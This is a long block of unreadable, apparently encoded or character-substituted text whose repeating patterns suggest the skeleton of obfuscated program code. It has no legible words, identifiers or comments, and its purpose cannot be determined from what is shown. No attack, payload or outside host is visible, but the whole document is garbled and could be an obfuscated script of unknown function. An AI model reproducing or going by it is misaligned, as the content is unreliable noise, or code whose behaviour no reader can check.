	UUUTUF]AMD\]QM .CLG]FLG\(\UUUU		UU]QM .CLG]FLG\(\UUU\UUUUG]\NUU NUUQE*LACUUHUUQM .*F]C@@\(NUQGLLBD@UUUUHUUQM .MAL]FLG\(NUU*GCGG]MAL]FMM\YUQE*LACYUUF]C@C\\NUUUUQCCBMEBCAUUUUHUCLG]CAM\]*F]CAA\\UJUUUU]\UU*]MAL]C@B\YUUUUUUWW\UUUOUWWNQGGMMHMMMCNQAGFHQGGMMPMNUUUUU]QCCBMEBCAUUUUTHHUUUUUWWUUUSSUUMAL]DL@\]QCCBMEBCAYUQGLLBD@YUUUUU \\UUUUQGLLBD@UUHUU*F]FLE\]F]DLC\]QGLLBD@YU]QCCBMEBCA\\\NUUUF]C@M\]QGLLBD@\NUUUU*F]C@L\]QGLLBD@YUUQCCBMEBCA\NUUUUUUUUU]CLG]CCE\]QGLLBD@\UKUUUD\UUUUUUUCLG]C@M\]QGLLBD@\NUUUUUUUZ_UU  XU_ZUUUUUUU]]CLG]C@G\] \UUXUQCL*\UUUUUKUUUUU]\UUUUU]Q MBLF U_UUUE[C\\UUUUZZUXUUU"%U' U&UUUG]\NUUUU NUUUUUQDLM MFUUHUU*FL B@A]\NUUUAFBADCCMB]QDLM MF\NUUQ B MEUUUUHUUU]\NUUUUUUUU]F]CAM\]CLG]CCD\\\UUUUU]]\UU*]*F]GGC\YUUU]\\UUUUUUQFFGBD\UUUUUU]CLG]C@F\]QFFGBD\USSUUUUQFFGBD\UUUUUQ B ME.(UUUUHUUUUQFFGBDNUUUUUUZZU%=%UUOU UUQGMUHUUU]\NUU]]*F]DA\\\UUUUUQBFMDDCUUUHUUUCLG]CAM\]MAL]@EM\\UUUUUJUUUUU5CLG]@EM\]MAL]DF\]"%8 *%9 2<;*1<'YUURZR\UU[UMAL]CCG\\UUOUNUUUU]MAL]CCF\]QBFMDDC\\UUUUUUU]QBFMDDCUUUUUUUQGDB\UUUUQGM.(UUHU*F]G@B\]QGDB\NUUUUUZZUUUXUUUUUUUQF@EUHUUUUUU]U*F]CCA\UUHKUUUE]WW\YUUF]CC@\UUUHKUMCCFB]\YMAL]CCC\UUUUUHKUUMAL]G@B\]DCLLEEFE]\YUUF]@EC\\YU*F]CCB\UUUUUHKUUUMAL]CCM\]47&%4!=YUF]DEC\\YF]CCL\UUHKUUQ B MEYUUUMAL]CBE\UHKUUUQGMYF]CBD\UUUHKUUUU*DAG@BF]\Y*F]CBG\UHKUUUUA **A*LE@B]QDLM MF\YU*F]CBF\UUUHKUU* A EC]QDLM MF\YUUUUUUCLG]AGG\UUUHKUU]QAMEUHUUCGF]\\YUUUUUU\NUUQCBCUUHUUMAL]CAM\]CLG]CBA\\UUUJUUUUU**]QF@E\UUOUUUUUUF]CB@\]QF@E\NUUUUUUQA FUUUHUAEFBL*]QCBCYUQE*LAC\NQDMGECFUUUHUU]CLG]CBC\UUUHKUUU*F]CBB\\NUQ*AUUUHUU NUUG]\NUU]QGLLBD@UUQMDC\UUUUUU]]*F]C@G\] \UUUUUUXUUQCL*\UUUKUUQ MBLF \UUUUUUUNUUUUUQMDCUUUUUHUU*F]FLD\]]\UUUUUUQMDC\NUUU]TUUQMDC\U NUUUUUUUUUUZZUUUUUUUQFDDDGUUUUUUHUUQE*LACNUQFUUHUUUDDBDLBMB]QMDCYUQA FYUUUQDMGECFYUU]DGM+DFM\YUU UU]QD\UU U]QFDDDG\UUUUUUQDAECFUUHUUUUUAEFBL*]QDYUQFDDDG\NUUU]TQDAECF\UUUUU UUUNUU UUUCLG]CBM\]5MAL]FCG\]MAL]FLD\]QDAECF\YUUU \\N\NUUU]TUUQF\UUUAAMGG*  ]F]ABD\YUUUUF]CBL\UUU[UUQMDC\NUU NUUUUUZZU%&'XBUOUUUUUQBMUUUUHUAEFBL*]QFYUQE*LAC\NUUUU]TUUUUQBM\UUUUUUUUUAAMGG*  ]MAL]ABD\YUUUF]CME\UU[UUQMDC\N NUQ*AUUUHU5*F]FCG\]F]CMD\]QBM\YUUUUU \NUUUUUUU]CLG]CBM\]Q*A\\UUUUUUUU]*F]CAM\]*F]FL@\\\UUUZZU"%U'!U4%<UUUUUUU *]MAL]C@B\YUUQMDC\NUUUUNUUUUUUUUUUUUUUUUUUUAAMGG*  ]*F]ABD\YUCLG]CMG\UUUU[UUQMDC\NUUUUUUUUUUUU]!UUQD@D*G\UUUUUUUUUAAMGG*  ]*F]CMF\YUQD@D*G\NU NUUUUU]0UUUUUQD@D*G\UUUUUUUUU NUUUUUUUUUUU]TUUUUUCLG]CBM\]Q*A\\UUUQ@UHUUAEFBL*]MAL]CB@\]]UF]CCA\UHKUUUUE]WW\YUU*F]CC@\UHKUUMCCFB]\YUMAL]CCC\UHKUU*F]G@B\]DCLLEEFE]\YU*F]@EC\\YUUUMAL]CMA\UUHKUUDYU\\YUUQE*LAC\NUUQCB*UUUUHUUMAL]CCM\]]CLG]FLL\]Q@\YUUF]CM@\YUUUCLG]CMC\\YUURHR\NUUUUQEEEGUHUUUUUMAL]CMB\]QCB*YUU]GGM@XMM@\\NUUUU]QGLLBD@UUUUUQMDC\UUUUUUUUU]]MAL]CMM\] \UUUUXUUUUUQCL*\UKUUUQ MBLF \UUUUUUUNUUUQMDCUUHUUUMAL]CMD\]]\UQMDC\NQLEMH%=%*<;!*84-Z%=%*<;!*84-NQL*D EHQLEM^ACNU]QMDCUUUHHHUUWW\UZZU5U UUU NUUUUUUUUQ@AUHUUL ]E]WW\UUUUUU[UUU*F]CMM\] \YUUUU]DDXF\\NUUUUQEGED UHUUU*F]CML\]QEEEG\NUUUQGDLF@EUUHUUU]*F]FCC\]QMDCYUUUUUURJR\UHHHUU\UUUJUURJRUUOUUURSRNUUUUUU]QE@MCG@UHUENUUQE@MCG@UUUIUUQEGED NUQE@MCG@^^\UUU]]CLG]CLE\] \UXUUUUQCL*\UKUUQ MBLF \UUUUUNUUUUQMA@ DFUHUUU]QE@MCG@UHHHUQEGED UUXUUD\NUUQDUHUUUUQMDCUUU[UUUQGDLF@EUUU[UUUU*F]CLD\U[UQ@AU[UUF]CLG\U[UQE@MCG@U[UUUUMAL]CLF\UUU[UQEGED UUU[UUUMAL]CLA\UUUU[UQEEEG.QE@MCG@(NUUUQGD MLDUUUUHUBBF*AC]QDYU]LXD\YUQMA@ DFUJU UUUUU]QD\UUUUU U]QE*LAC\UUUQDAECFUUHUUUAEFBL*]QDYUUUQE*LAC\NU]TQDAECF\U UUUNU U*F]CL@\]5F]FCG\]CLG]CMD\]QDAECF\YUUU \\NUUUUUUUOUU \NUUUUUUU]QMA@ DFUSSU*F]C@F\]QGD MLD\UUSSUUQGD MLDUUUUTHHUUUUUUWW\UUUUUUUQ*UHUAEFBL*]QGD MLDYUQE*LAC\NUQ*BBUUUUUHUQ*UJU5F]FCG\]CLG]CMD\]Q*\YUUUUUU \UUOUUUUUU NUUU]CLG]CL@\]Q*BB\\UUUQ*AUUUUHUUUQ*BBNQ HCFMDNQED @HQ PDFNU]CLG]CLC\]*F]FL@\\\UUU *]F]CLB\YUUUUUUQMDC\NUUUUUUUUUNUUUUUUUUUUUUUUUU]CLG]CL@\]Q*A\\UUUUUUNUUUUUUUUUUUUUU]TUUUUMAL]CL@\]Q*A\\UU NUUUUU]QAMEUUUUSSUUUUUMAL]CLM\]CLG]CLL\\\UUUUU*]@G*A  CF]*F]AGG\\\NUUUUUUUUUU]T]Q29:749&.F]AD@\(\UUU		UUTMAL]CL@\]Q29:749&.F]AD@\(\\UQ29:749&.CLG]BEE\(UUUHU]\NUQ29:749&.F]BED\(UHUUUUMAL]BEG\]MAL]DLC\]Q29:749&.F]BED\(YUUUUUUQAME\\NUU]]Q*A.CLG]BEF\(\UUSSUF]BEA\]Q*A.CLG]BE@\(\\UUUUUUUUAGL D]Q*A.*F]BE@\(YUUUUU]Q*A.MAL]BEC\(\UUUSSUUUUCLG]BEA\]Q*A.CLG]BEC\(\UUJUQ*A.F]BEC\(UUUOUWWYUUT]Q*A.MAL]BEB\(\\NUUUUUUQEFCLUHUNUUQME*MDBUHUUUU]\NUUUUUUU]]Q*A.MAL]ABB\(\USSUUUF]CL@\]Q*A.MAL]ABB\(\\UUUUUUUUQMEUHUUUUU]\NUUUUUUUU]Q*A.CLG]ABB\(UUQGDAL @BC\UUUUUUUUU]*F]BEA\]QGDAL @BC\UUSSUUUQGDAL @BCUUUTHHUWW\UUQME.(UUHUUUQGDAL @BCNUUUUUUUZ_UUXU_ZUUUQB@DCUUUUHUUUQ29:749&.F]ABL\(NUUUQMEUUUHUUUEBCEGAE]QME\NUQ29:749&.MAL]ABL\(UHUUUQMENUUQME*MDB.F]ABB\(UUUHUUQMENUUUU]TUUUU]F]DLC\]QMEYUUQB@DC\\UUUU		UTUUU]*F]DLC\]QB@DCYUQME\\\UUUUUQEFCLUUHU NUUUUUUUUUUUUUUU]]Q*A.F]BEM\(\UUSSUUMAL]BEL\]Q*A.CLG]BDE\(\\UUUUUUUUUQMEUUUUUHUUU]\NUUUUUUUUUU]Q*A.*F]BDE\(UUQGDAL @BC\UUUUUUUUU]MAL]BDD\]QGDAL @BC\UUSSUUUQGDAL @BCUUTHHUWW\UQME.(UUHUUUUQGDAL @BCNUUUUUUUUUQB@DCUUUUUUHUUUQ29:749&.F]AMG\(NUUQMEUUUUUHUEBCEGAE]QME\NUUUUQ29:749&.MAL]AMG\(UUUUHUUQMENUUUUQME*MDB.*F]BDE\(UUHUUUQMENUUUUUUUUU]TU]F]DLC\]QMEYUQB@DC\\UU		UTUU]MAL]DLC\]QB@DCYUQME\\\UUUQEFCLUUHUUUU NUUUUUZZUUOUU XUUU]]Q*A.*F]AM@\(\UUSSU*F]BDD\]Q*A.MAL]AM@\(\\UUUQLFCL@CUUHUUGFC*@]*F]BDG\YUUWW\NQ29:749&.CLG]BDF\(UUUHUQ*A.F]AM@\(NQME*MDB.CLG]BDA\(UUHUUUUQ*A.*F]BDA\(NUUUUU]*F]BD@\]Q*A.F]BDA\(\UTHHUUUMAL]BD@\]QLFCL@C\\UUZZUUUUUU*GCGG]*F]BDC\YUUQ*A.CLG]BDA\(YUUU*F]BDB\\NG DM M ]\NUUUU ]QLFCL@C\NUUUUUQ MGMMEMUUUUHU]Q*A.*F]ALD\(\USSUUUUCLG]BEL\]Q*A.*F]ALD\(\UUJUUUUUQ*A.F]ALD\(UOUU]\NUUUUUU]]Q MGMMEM.F]AML\(\UUUSSUCLG]BDD\]Q MGMMEM.CLG]AML\(\\UUUUUUU]*F]@@F\]Q MGMMEM.F]AML\(\UKUU]EGF^E\\UUQ29:749&.*F]AMM\(UUUHUUUUUQ MGMMEM.F]AML\(NUUUUUQME*MDB.CLG]BDM\(UUHUQ MGMMEM.CLG]BDM\(NUUUUUUUUUQ29:749&.F]AMM\(UUUUUHUUUUWWNQME*MDB.*F]BDM\(UUUUHUWWN*GCGG]F]BDL\YUUUUWWYUMAL]BDB\\NUUUUUUUUUUU]]Q MGMMEM.F]BGE\(\UUSSUCLG]BDD\]Q MGMMEM.CLG]BGD\(\\UUUU]CLG]@@F\]Q MGMMEM.CLG]BGD\(\UUUKUU]C^LA\\UUUUUUUUUQ29:749&.MAL]BGG\(UUUHUUUUQ MGMMEM.MAL]BGD\(NUUUUQME*MDB.*F]BGF\(UUUHUUQ MGMMEM.CLG]BGA\(NUUUUUUUUUUUUQ29:749&.CLG]BGG\(UHUUUUWWNUUUQME*MDB.F]BGA\(UUHUUUWWNU*GCGG]CLG]ADF\YUWWYUCLG]BDB\\NUUUUUUUUUUUQ DL*@UUHU]Q*A.*F]BG@\(\USSU*F]BGC\]Q*A.MAL]BGB\(\UJUUUUQ*A.MAL]BGB\(UUUOUUU]\NUUUUUQDBLGUHUU]UF]BGM\UHKUUCLG]BGM\YUUUUUCLG]BGL\UUHKUUUMAL]BFE\YUUU*F]BFD\UHKUUCLG]BFG\YUUUUUUUMAL]BFF\UUUHKUUCLG]BFA\YMAL]BF@\UUUUHKUUU*F]BFC\YUUU*F]BFB\UUHKUF]BFM\YUUCLG]BFL\UHKUUUMAL]BAE\YUCLG]BAD\UUUUHKUCLG]BAG\YUUUU\NUUUU]QDBLGUUUQL*CFUHKUUUQMLG\UUUUU]]Q DL*@.QL*CF(\USSUUUUUMAL]BDD\]Q DL*@.QL*CF(\UUUSSUUUUCLG]@@F\]Q DL*@.QL*CF(\UKUUU]GEC+G@G\\UUUQME*MDB.QMLG(UUUUUHUUQ DL*@.QL*CF(NUUUUUUUUUUUUU]]Q*A.CLG]@FD\(\UUUSSUUUUUCLG]BAF\]Q*A.F]@FD\(\\UQE@  GMUHU]\UUUUUQ*A.MAL]@FD\(NUUUUUUUU]QE@  GMUKHUUUUU]GD@^M@\UUUSSUUUQE@  GMUUIHU]EDFB^EDGED\\UUQME*MDB.MAL]@FD\(UHUUQE@  GMNUUUUUUUUUUU]]Q*A.*F]AGL\(\UUUSSUUUF]BAA\]Q*A.*F]AGL\(\\UQ*UUHUUUUUU]\UUQ*A.MAL]BA@\(NUUUUU]Q*UKHUU]GCE^AE\USSUUUUQ*UUIHUU]MCFE@^L@\\UQME*MDB.CLG]BAC\(UUHUQ*NUUUUUUUUU]]QME*MDB\\UUUUUU*]MAL]CDM\\NU*]*F]CDC\\N *]*F]BAB\YUUMAL]CGG\]\\N*]CLG]BAM\\NUUU C@BD]\NQ*LCAMH@E^DANQACL@GHQ*LCAMXABNUUUU@A]\NUUUU NUUUUUUQ C EFDUUHUUUUUULEA*M A]*F]BAL\YU\NUUUUUUU]F]BGC\]Q C EFD\\UUQME*MDBUUHUCLG]AGD\]Q C EFDYUUUUQME*MDB\NQEDCCAGH%=%*<;!*84-Z%=%*<;!*84-NQDFHQEDCCAG^AMNUUUUUUUUUUUUUU]*F]CLM\]MAL]@DC\\\UUUUUQBB@UUUHU@EBFEG]\NUUUUU]]QME*MDB.*F]@FD\(\UUSSUUUUU]\UUUUQME*MDB.CLG]B@E\(UUUUKHUU]FDMXDM\UUSSUU]\UQME*MDB.F]B@E\(UUUIHUUU]LCBBDXDEFBD\\UUUUUQBB@UUUUHU]\UQME*MDB.MAL]B@E\(NUUUUUUUU*]D*LB@@BE]\YUQME*MDBYUUUQBB@\NUUUUUUUUUUUUELBCGBBEL]*F]B@D\YUUUUUUQME*MDBYUUUUCLG]B@G\\NUUUUUUUU]]QME*MDB.MAL]B@F\(\UUSSUUMAL]CLM\]MAL]B@A\\UUSSUUMAL]CLM\]CLG]B@@\\USSUUMAL]CLM\]*F]AFB\\\UUUUQUHUUUUU** *]GEBGM]\\NUUUUUUU]QUUUSSU]\UUUUUUQXKUUUUUTHHU]\UQME*MDB.CLG]B@F\(\UUUUUU** *]GEBGM]\\N* *]*F]CGG\]\UU^UUUUF]AAE\]]DED+ML\YUU]GGA^BC\\YUCLG]AFE\YUUGEBGM]\\NUUUUU *]*F]BAB\YUCLG]B@C\]\\NUU*]MAL]B@B\\NUUUU*]*F]CDC\\NUU*]F]BAM\\N C@BD]\N@A]\NUUUUUUU]QEFCL\UUU@AM EE*]\NUUUUU]!UUUUQD@D*G\UUZZUUUU"%U'0&!U4%<UGUUUUUUUUAAMGG*  ]CLG]B@M\YUUQD@D*G\NUUUUUU]0UUQD@D*G\UUUUUUUUUUUUUUUU@FLGL]CLG]B@L\\NUUUUUUU UAGL D]QC*DDYUUUUUUQMGM G FUUUUHUWWYUQFBUUUHU\UUUUUUUUUUU]TLBG@@LMCLAD]MAL]B@L\\\U NUUUUUUUUUUUUUUUUQ@AUUUUUHUU5F]AEG\]QC*DDYUU \NU]*F]BCE\]Q@A\USSUCLG]@@F\]Q@A\UUUKUUU]ELLMGE^ECCBE\\UUQ@AUHUU*MB @AB]Q@A\NUUUUUUUUUUU]TUUUUQ@AUU		UMAL]@@F\]Q@A\UIUUUUU]DL^AMD\UUUUU		UCLG]FCC\]Q@AYUCLG]BCD\\UTHHUUE\UUU NUUU]TUUU@LE*B ]Q@A\\UUUUUAAMGG*  ]F]BCG\YUUUUMAL]BCF\\NU NUUU]*F]GGA\]F]BCA\YUUUUUCLG]CFF\]Q@AYUEYUUUU]AECA^FG\\YUUQ@FGBME\\UUUUU]QMGM G FUTHHUUWWUUUUSSUQMGM G FUTHHUUUQ@FGBME.D(\UAAMGG*  ]MAL]BC@\YUUMAL]BCC\\NQ @GH@@ENQBFAHQ @GPDAN NUUUUUQMGM G FUHUUQ@FGBME.D(NUUUUUUUUUUUUUAAMGG*  ]CLG]BC@\YU*F]BCB\\NU NUUUUUUUU]TQFBUSSUU*]QMGM G FYUUUUUMCCFB]\\UIHUUE\UUUU NUQ@M GEUHUUGDG]\NUUU]TQ@M GEUUU		UUUUCLG]@@F\]Q@M GE\UUUUUIUUUU]AGG^BM\\UUUUAAMGG*  ]*F]BC@\YUUF]BCM\\NUUU NUUUUUUUQ*   B@UHUUU*]CLG]DML\\NUUUUU]CLG]BCE\]Q*   B@\USSUUUUUF]FCC\]Q*   B@YUU*F]BD@\]Q@A\U[UR	R\UUHHHUE\UUUUUUQ@@GUHU]\U*F]CFF\]Q*   B@YUUF]FCC\]Q*   B@YUUUR	R\UU^UD\NUUUUUU]*F]B@C\]\UUXUUUQ@@GUUUUUIUUU]M@GAG^DD@M\\UUUUUUUUUUU NUUUUUUUUQF @UHUMAL]BCL\]DCLLEEFE]\\UUU[UUUCLG]DM@\U[UUU*F]BD@\]Q@A\NUUUU]5CLG]@LB\]QF @\\UUUUQ*MEAUHUUUUUU5]\UUCLG]GEG\]QF @\NUUUUUU]Q*MEAUSSUUUUCLG]BBE\]\UUUXUQ*MEAUUUUUUIU]DMG@D^CMDAL\\UUU NUUU5MAL]BBD\]QF @\NUUU ]QF @YUQ*MEA\NQ UUHUUNUUUUUUU]*F]CLM\]*F]AA@\\UUUUSSUMAL]BBG\]CLG]CFB\\\UUUUUUUQGCMUHUUUUUF]AA@\]* ]RZR\YUUU]*F]BBF\UUUUHKUU]DAXC\YUUUUUUCLG]BBA\UHKUUGYUUUCLG]FFM\UUUUUUHKUUU\\NUUUUUUU]TUUU]CLG]BB@\]*F]FAG\\UUUUSSUUUUU**]QGCM\\\UUUUUUUUQ UUUUUHU]\UU****]QGCM\UKHUU]C^ALA\NUUUUUUZZU5UUUZZUUUU'U XUUUUUUUUQ GMEUUHUUUNQ DCGDFDH%=%*84?:'*#0'&<:;NQ@HQ DCGDFD_MNUUUUUUUUUU]MAL]BBC\]MAL]BBB\\\UZZU5U XUQBMCBUUUHUU*]CLG]BBM\YUUUUU]\\NQ GMEUUHUUUMAL]BGC\]QBMCB\USSUUCLG]BBL\]E@CBLELCE]\YUUQBMCBYU \NUUUUUUUUF* ]DCLLEEFE]\YUUUU]FMC^FA\\NUUUUUUUU]TUU FAF@D]DCLLEEFE]\YUUFD @]Q@A\\\UUUAAMGG*  ]MAL]BC@\YUUF]BME\\NU NUELAAL*]DCLLEEFE]\\NUUUM M]DCLLEEFE]\\NUU]CLG]BBC\]*F]BMD\\\UUU5*]MAL]BMG\YUDYU]GBB^GF\\NQGFBHX@DCNQH]QGFBKE\JQGFBOXQGFBNUUUU]TUUUUQ UUSSUU*F]BBC\]CLG]AA@\\UUUSSUU*F]BBC\]*F]BMF\\\UUUUUUUUQAM@GE DUUUHUXDNUUUUUUU]QMMMBAUUUUUHUUENUUUQMMMBAUUIUUUUUUGNUUQMMMBA^^\UUUUUUUUUUUQUHUUUUUF]BMA\]* ]CLG]BM@\UU[UUUMAL]AAE\]]LLLGD^BL\YUUUUUU]LLLLLG^B\\\YU]CLG]BMC\UUUHKU]AIID\YUUCLG]BBA\UUUUUHKUUGYUUUUUUMAL]FFM\UHKUUU\\NUUUUUUU]F]BBC\]CLG]FAG\\UUSSUUU**]Q\\UUUUUUU]QMMMBAUUUUHHHUUEUUSSUUUUU*F]BBC\]MAL]BMB\\\UF]BMB\]G\NUUUUU NUUUQAECUUHUU]\UUUUU****]Q\NUUUUU]QAECUUUUUUIUUU]BF^GB\U		UUUUCLG]BMM\]QAECYUUUUUU]]BEMXGE@\YUU]A@M^CG\YUU]GML^GFG\YUUU]@EL^DF\YUUU]@GG^D\YU]@DA^DE\YUU]FE^ALC\YUUUU]EGEB^EM\\YU \\UUUU]QMMMBAUHHHUUUUUEUUSSUUUUU*F]BBC\]F]BMB\\\UU*F]BMB\]G\NUUUU NUUUUUQAM@GE DUHUQAECNUUNUUUZZU"%U7 U7UUUUUUU]QAM@GE DUUUHHHUUUUXD\UUUUUQAM@GE DUUUHUUU]ACE^AE\NUUUUUUUUUU]QAM@GE DUKHU]AMG^DM\\UUUUUUUQ DB@ FDUHU FAF@D]DCLLEEFE]\YUUUUUFD @]Q@M GE\\NUUUU]TQ DB@ FD\UUQ DB@ FDUUUHUUUU FAF@D]DCLLEEFE]\YUUUUUUQ@M GE\NUU *]*F]DML\YUUU*F]BD@\]Q@A\U[UUR	RU[UF]BBE\]\YUUUCLG]BML\\NUUU]TQ DB@ FD\UUUAAMGG*  ]*F]BLE\YUUUUF]BLD\U[UUQAM@GE D\NUU NUUUUUUUUUM M]DCLLEEFE]\\NUUUELAAL*]DCLLEEFE]\\NUGDG] \NUFDG] \NUQ  @CUUUUHUMAL]G@B\]DCLLEEFE]\YUUUF]@EC\\NUUUUUUU]]MAL]BLG\]DCLLEEFE]\\YU *LMAEE]\\UUUUUUQF@GMM\UUUUUU5CLG]BBD\]QF@GMMUUUUUU[UUUF]GEC\U[UUQ  @C\NUUUUUU5CLG]BBD\]QF@GMMUU[UUUUUCLG]BLF\U[UQ  @C\NQBD*D  @H@_MNQ@HQBD*D  @XLNZZUUUX  UUU]Q GMEUUUSSUUUUT FDLF*DM]\UUUSSUUF]BLA\]MAL]FL@\\\UQD*UUUUHUUU*]CLG]BBM\YUU]\\NUUUUUUU]*F]BL@\]QD*\USSUTCLG]BLC\]E@CBLELCE]\YUQD*YUU \\UUUUQD*.(UUHUE@CBLELCE]\N5 *]F]BBM\YUUQD*\NUUUQ29:749&.F]BLB\(UHUENUUUU@A]\NUUUAAMGG*  ]*F]BLE\YUUUUU*F]BLM\UU[UUQAM@GE D\NUU NUUUUUUUUUU]QMGM G FUUTHHUUUUUWW\UUUUUUQ29:749&.CLG]D\(UUUHUUQMGM G FNULFGFA]DCLLEEFE]\YUUUQMGM G F\NUUUUUUUU]QFB\UUUUQAM F@FBUHUUCLG]G@B\]DCLLEEFE]\YUUF]@EC\\NUUUUU]]F]BLG\]DCLLEEFE]\\YUUUU *LMAEE]\\UUUUQ@EG\UUUU5*F]BBD\]Q@EGUUU[UMAL]BLL\U[UUQAM F@FB\NUUUUUUU ]QAM F@FBYUQ@EG\NU*GCGG]MAL]MEE\YUQ@AYUUUUUU*F]BML\\NUUUGDG] \NUFDG] \NUUQ29:749&.*F]BLB\(UHUENUUU@A]\NF* ]DCLLEEFE]\YUUUUU]DLM^LA\\NUUUUU]M M]DCLLEEFE]\\\ULAAADF]DCLLEEFE]\\N *]MAL]GDA\YUUUUQMGM G FU[UUR	RUU[UUUUF]BBE\]\YUUCLG]BML\\NUUUUUUUUUUU]!UUQD@D*G\UUUUUAAMGG*  ]F]BLE\YUUUUUUQD@D*G\NUUU]0UUUUUQD@D*G\UUUUZZUUUU'U XUUU@FLGL]F]MED\\NUUUUUUU UUD EAA]\UUUUUUZZUUUU"%U76UU]TUUUUU]F]MEG\\UUUUU		UUUUUTUMAL]BLA\]F]MEF\\\UUUUZZUU UXXUUU]MAL]MEA\]47&%4!=UUUU[UUUF]ME@\\\UUZZU"%UC[AUOUUXUUUUUUUU *UU47&%4!=UUUUUU[UMAL]ME@\NQAFECMH]E^ED@\NQ@HQAFECMPDGNUUUUUUUU]TUUUUUU*F]BLA\]*F]MEF\\\UUUZZU%=%UM[DUOUUUUUU NUUUUUUUUZZU5XUXUZZUUUQECCBD*DUUUUHU* ]\NUUUUUUU]TUUCLG]BL@\]QECCBD*D\\UUUUUUUU NUUUUUUUUQUHUUU]\NUUUUUU]QECCBD*DUUUQUUUUUHKUUQ* \UUU]QUHHHUUE@CBLELCE]\\UUUUUU NUUUUQ.Q(UUUHUUUUUQ* NU UUQNUUU UBDBD ]QMYUUQAF\UUUUUUUUZZUU UUUUUQE@*UUHUUUUU5CLG]@LL\]QMYUUYUUU YUUEYUU]EFCDB^EA@LL\\NUUUUUUU]TUQE@*\UUUUUUU UUUUUUNUUUUUUUUUUUUUUUU]QAFUUUUQ*C*@*C\UUUUUUUUUUUU]TUUUUUCLG]BCE\]Q*C*@*C\UU		UUUUTUUUUUQ*C*@*CUUUU		UF]@@F\]Q*C*@*C\UUKUUUUUU]E@L^E@B\\UUUUUUU NUUUUUUUUUUUUUQBD@LCLBUUHU5F]MEC\]Q*C*@*CYUUQE@*\NUUUUUU]!UUUUUUQ  BM\UUUUUAAMGG*  ]CLG]MEB\YUUQ  BM\NUUUUUUU NUUUUUUUU]0UUUQ  BM\UU NUUUUUUU]QBD@LCLB\U U NUZZUUUUU UNUUUU UUUUED@CAC]Q *\UUUUUUUQAFUUUUHUUUQ29:749&.CLG]MEM\(NUU]TUUUUUF]BL@\]QAF\UUU		UU]QAF\\UUU UUNUUUUUUU]TUUU]MAL]MEG\\UUU		UUUUU]Q *\U		UUUUF]MEL\]Q *YUF]GAC\\UTHHU\UUUUU UNUUUUUUUUUUUUUUQEMEMUHUUUUU"%*%9 2<;*1<'UUUUU[UURZRU[UUUUQ *NUUUUU]F]BLG\]Q *\UUHHHUUUR[R\UUQ*ECEUUHUU]QEMEM\NUUUUUUUUUQBD EUUHUUMAL]MDE\]QEMEM\NUUUU]TUUUCLG]GE@\]QBD E\UUU		UTUMAL]MDD\]QBD E\\U UNUUUUUQ*ECEUUUUHUU*DGGBC]QBD EYU]*F]MDG\YUUUUUUMAL]MDF\YUUF]MDA\YU*F]MD@\YUMAL]MDC\\\NUUUUUUUUUU]Q*ECEUUUUUUQM\UUUU]TUUUUCLG]MDB\]QM\\UUUUUUU NUZZU"%U76OUXUUUU]BDBD ]QMYUUUQAF\\UUU UU NUUUZZU5UUUUUU UUNUUUUUUUUUU U*DGGBC]QBD EYUUUQ*F *YUUQMD*  E*UUHUUUEYUUUSQDCD MUUUHUUUU YUUUUSQ* A@@FUHUU \UUUQUUUHU]\NUU]QMD*  E*UKUU]EF^E@\\UUUUUU UQNUUUUUU]QDCD MUUUUHHHUUUUU \UUUUUUUUUUUUQDCD MUUUHUUU]\NUQ* A@@FUHUUU*F]CLE\] \UU^UUU]EL^ED\NUUUUU]F]MDM\] \UUUKUUQ* A@@F\UUUUUU UQNUUUUU]TUUCLG]GE@\]QBD E\\UUUUUUZZUUU UUUQNUUUUUUUUUQ@EGUUUHUU5CLG]GF@\]QBD E\NUU]Q@EGUUUTHHUU\UUUUU]]QDCD M.Q@EG(\\UU UUQNQDCD M.Q@EG(UHUU NUUUUUQLMLE*UUUHU GD FB@B ]QBD E\NUUUU]TUUUUMAL]MDL\]QLMLE*\\UUUUUUU UUQNUUUUUUU]QLMLE*UUUUUQCE@\UUUUUUU]CLG]MDM\] \UUUUKUUUUUQ* A@@FUUU		UUMAL]CML\]Q\UUUKHU]AED^LL\\UUUUNUUUUQEMEMUHUQBD EUUUU[UUUUUURZRUU[UUQCE@NUUUUUUU]5MAL]MGE\]QEMEM\\UUUUUUUUUU NUUUUUUUUUUU]5F]GE@\]QEMEM\\UUUUUUQUHUF]AGD\]QYUU*DGGBC]QEMEMYUQ*F *YUQMD*  E*UUU^UDYUQDCD MYUQ* A@@F\\NUUUUU]5*F]MGD\]QEMEM\\UQDMLGUUUHUU*F]MGG\]QEMEMYU]F]MGF\\\NUUQDMLGUHUUUCLG]BCE\]QDMLG\UUUUUJUUUUF]BB\]QDMLG\UOUUWWNUUUUUUUUUU]MAL]BLC\]QDMLGYUUQ*F *YUUUUU \\UUUUUUUQ.(UUUUHUUUUQEMEMNQGADHCL^LLNQ MHQGADXAANUUUUUUUU UUUUQNUUUUU UUU CMFG]Q *\UUUUUUUUUUUUUUUUUUUUUU]TUUMAL]BCE\]Q *\UU		UUUUTUUQ *\UUU UUUUNUUUUU]CLG]MGA\]Q *YUUUUUMAL]GAC\\UUUUUTHHU\U UUNUUUUUUUUQ *UUUUUHUUF]CMD\]Q *\NUUUUUUU]Q *UUHHHUUE@CBLELCE]\\UUUU UNUUUUUUUUU]TUUUUUUCLG]BLA\]F]MG@\\USSUUUCLG]MEA\]47&%4!=UUU[UMAL]MGC\\\UUU *UUUUU47&%4!=UUU[UUUCLG]MGC\NUUUUUUUU]*F]MGB\]F]MG@\\UUSSUUUUU* *]Q *\\UUU* ]]Q *\YUUUUUU \NUUUUUUUQBD EUUHUU]MAL]MGM\\UJUUUU"%*%9 2<;*1<'UUUU[UUUUUURZRUUU[UUUCLG]MDE\]Q *\UUUUOUUUUWWNUUUUUU]QBD EUSSUCLG]MGL\]QBD E\UUUUUUSSUUUF]MDE\]Q *\UUUTHHUUR[RUSSU*F]MDE\]Q *\\UUUU] M ME*@MFB *]QBD E\\UUUUUU UUUUU NUUUUUUUUUUUUU]MAL]MGB\]MAL]MFE\\\UUUUU]TU*F]MGB\]CLG]MFD\\UUUUU		UUTUU * *]*F]MFE\\\UZZUUX  UU"%U%U9UUUUU]MAL]MGB\]*F]MFG\\UUSSUUUUMAL]MGB\]MAL]MFF\\\UUQ UUHUUUUU* ]]*F]MFA\UHKUUMAL]MF@\YUUCLG]MFC\UUHKUUD\\NUUUUUUU]TU]Q \UUSSUUUUQ .E(XK<1\UUUUUU*F]MFF\]Q .E(XK<1\NUUUUUUUUMAL]MFF\]D\NUUUUUUUUUUUUUUQAG@AUUHUUU* ]]Q *\\NUUUUU]TUUUUUU**]QAG@A\\UUUUUUUUU U]\UUQA